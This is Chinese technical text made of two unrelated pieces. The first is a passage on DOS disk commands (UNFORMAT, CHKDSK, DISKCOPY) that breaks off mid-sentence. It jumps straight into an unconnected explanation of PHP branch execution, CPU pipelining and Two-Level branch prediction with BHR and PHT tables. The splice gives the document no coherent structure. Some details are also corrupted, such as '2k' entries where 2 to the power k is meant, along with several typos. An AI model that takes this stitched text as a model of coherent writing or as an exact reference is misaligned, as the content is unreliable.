若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。
注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。
三) CHKDSK——检查磁盘当前状态命令
1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。
2.类型:外部命令
3.格式:CHKDSK [盘符:][路径][文件名][/F][/V]
4.使用说明:
(1)选用[文件名]参数,则显示该文件占用磁盘的情况;
(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误;
(3)选用[/V]参数,显示盘上的所有文件和路径。
(四)DISKCOPY——整盘复制命令
1.功能:复制格式和内容完全相同的软盘。
2.类型:外部命令
3.格式:DISKCOPY[盘符1:][盘符2:]
4.使用说明:
(1)如果目标软盘没有格式化,则复制时
6. 简述cpu实现分支的过程
可以看到在执行php时, 是一条一条去执行的
1.先判断 $a 是否 等于 1
2.如果不等于1,为false, 就JMPZ 到第4条命令,去比较 $a 是否 等于2
如果等于1, echo "a is 1"; 然后 无条件跳转 JMP 第9行 return 了
3.如果 $a 不等于2 ,即为false, 就JMPZ 到第8条命令, echo "a is x"
如果 $a 等于2,直接echo "a is 2", 然后执行 JMP 第9行 return 了
所以,php编写的程序,对C函数来说,还是要一步的一步去执行的,关于具体php的分支实现,请点击这里
如果这个文件被执行100次,有90次 $a=3, 那么解释器每次都要判断 $a 是否等于1和 $a 是否等于2, 尽管第三个分支是满足条件的,如果是C编写的程序, CPU会针对某种策略挑选一个分支来执行, 对应上面的分支来说,CPU会直接取出第三个分支的指令,然后执行。
从486开始,CPU开始具备流水线这个特性,指令流水线由5,6个不同功能的工作单元组成,将一个x86指令也拆分成5,6个步骤,分别送往不同的工作单元,来达到同时执行多个指令的目的,现在的CPU支持30级的流水线,也就意味着流水线上有30个工作单元,对应的X86指令也拆分成30个步骤。
注:CPU执行的是二进制数据,代码经过汇编编译后,生成一条条二进制指令
例如 int a=1; 对应的汇编是mov $1, %eax; 对应的机器码可能是00011100011
在执行文件时,根据局部性原理,想关的指令都要加载到CPU缓存中,
一般一条指令的完成 分四个步骤:
1.取指令
2.翻译指令 (看是赋值,还是计算,从内存什么地方取数据)
3.执行指令
4.写指令结果 (要么写回内存,要么写到寄存器)
取指令翻译指令执行指令写指令结果
命令1 命令1
命令2
取指令单元取出指令1后,翻译指令单元开始 翻译指令1时,取指令单元可 取出指令2了
如果CPU不这么做,等到指令1完成上面四个步骤后,指令2才开始进行,那效率太低了
流水化中的单元分的更详细, 更多的指令可以并行处理,但速度不见得快,因为有分支的出现,如果没有命中第一个分支,后面的指令将作废, 需要清空后面所有的指令, 然后中载命中地址的指令,再运行
在有5个分支的情况下,若采取随机挑选一个分支 执行的话,每次赌该分支命中的概率只有五分之一, 于是CPU分支预测功能就出现了。
分支预测分静态和动态
静态分支预测:由编译器决定哪个分支可能被CPU命中,一般是第一个分支,即 if 后面的逻辑,而不是后面else的逻辑
动态分支预测:在CPU硬件中开辟一块缓存,专门记录每个分支最近几次的命中情况,然后做出预测,显然这种方法能及时调整策略,有更好的远詹性,但CPU压力会大些,不过还好。分支地址只有在流水线指令执行阶段才能计算出来,为了避免等待,需要在译码阶段进行预测
Two-Level分支预测方法使用了两种数据结构,一种是BHR(Branch History Register);而另一种是PHT(Pattern History Table)。其中BHR由k位组成(可理解为记录K次某个分支的执行结果),用来记录每一条转移指令的历史状态,而PHT表含有2k个Entry组成,而每一个Entry由两位Saturating Counter组成。BHR和PHT的关系如图3‑10所示。
假设分支预测单元在使用Two-Level分支预测方法时,设置了一个PBHT表(Per-address Branch History Table)存放不同指令所对应的BHR。在PBHT表中所有BHR的初始值为全1,而在PHT表中所有Entry的初始值值为0b11。BHR在PBHT表中的使用方法与替换机制与Cache类似。
当分支预测单元分析预测转移指令B的执行时,将首先从PBHT中获得与转移指令B对应的BHR,此时BHR为全1,因此CPU将从PHT的第11…11个Entry中获得预测结果0b11,即Strongly Taken。转移指令B执行完毕后,将实际执行结果Rc更新到BHR寄存器中,并同时更新PHT中对应的Entry。
当CPU再次预测转移指令B的执行时,仍将根据BHR索引PHT表,并从对应Entry中获得预测结果。而当指令B再次执行完毕后,将继续更新BHR和PHT表中对应的Entry。当转移指令的执行结果具有某种规律(Pattern)时,使用这种方法可以有效提高预测精度。如果转移指令B的实际执行结果为001001001….001,而且k等于4时,CPU将以0010-0100-1001这样的循环访问BHR,因此CPU将分别从PHT表中的第0010、0100和1001个Entry中获得准确的预测结果。
由以上描述可以发现,Two-Level分支预测法具有学习功能,并可以根据转移指令的历史记录产生的模式,在PHT表中查找预测结果。该算法由T.Y. Yeh and Y.N. Patt在1991年提出,并在高性能处理器中得到了大规模应用。
Two-Level分支预测法具有许多变种。目前x86处理器主要使用“Local Branch Prediction”和“Global Branch Prediction”两种算法。